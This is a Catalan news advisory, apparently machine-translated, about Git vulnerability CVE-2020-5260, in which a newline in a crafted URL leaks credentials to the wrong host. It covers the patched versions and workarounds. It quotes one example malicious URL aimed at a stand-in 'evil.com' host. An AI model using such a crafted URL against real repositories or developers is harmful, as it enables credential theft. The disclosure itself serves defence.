Vulnerabilitat a Git que condueix a la filtració de credencials

Publicat versions correctives del sistema de control de font distribuït Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 i 2.17.4, en que va eliminar vulnerabilitat (CVE-2020-5260) al gestor "credencial.helper", que fa que les credencials s'enviïn a l'amfitrió incorrecte quan un client git accedeix a un repositori mitjançant un URL amb un format especial que conté un caràcter de nova línia. La vulnerabilitat es pot utilitzar per organitzar que les credencials d'un altre host s'enviïn a un servidor controlat per l'atacant.

Quan especifiqueu un URL com "https://evil.com?%0ahost=github.com/", el controlador de credencials quan es connecti a l'amfitrió evil.com passarà els paràmetres d'autenticació especificats per a github.com. El problema es produeix quan es realitzen operacions com ara "git clone", inclòs el processament d'URL per a submòduls (per exemple, "git submòdul update" processarà automàticament els URL especificats al fitxer .gitmodules des del repositori). La vulnerabilitat és més perillosa en situacions en què un desenvolupador clona un dipòsit sense veure l'URL, per exemple, quan es treballa amb submòduls, o en sistemes que realitzen accions automàtiques, per exemple, en scripts de creació de paquets.

Per bloquejar vulnerabilitats en noves versions està prohibit passant un caràcter de nova línia en qualsevol valor transmès mitjançant el protocol d'intercanvi de credencials. Per a les distribucions, podeu fer un seguiment del llançament de les actualitzacions de paquets a les pàgines Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arc, FreeBSD.

Com a solució alternativa per bloquejar el problema es recomana No utilitzeu credential.helper quan accediu a repositoris públics i no utilitzeu "git clone" en mode "--recurse-submodules" amb repositoris sense marcar. Per desactivar completament el controlador credential.helper, que ho fa preservació i recuperant contrasenyes de memòria cau, protegit repositoris o un fitxer amb contrasenyes, podeu utilitzar les ordres:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Font: opennet.ru

Afegeix comentari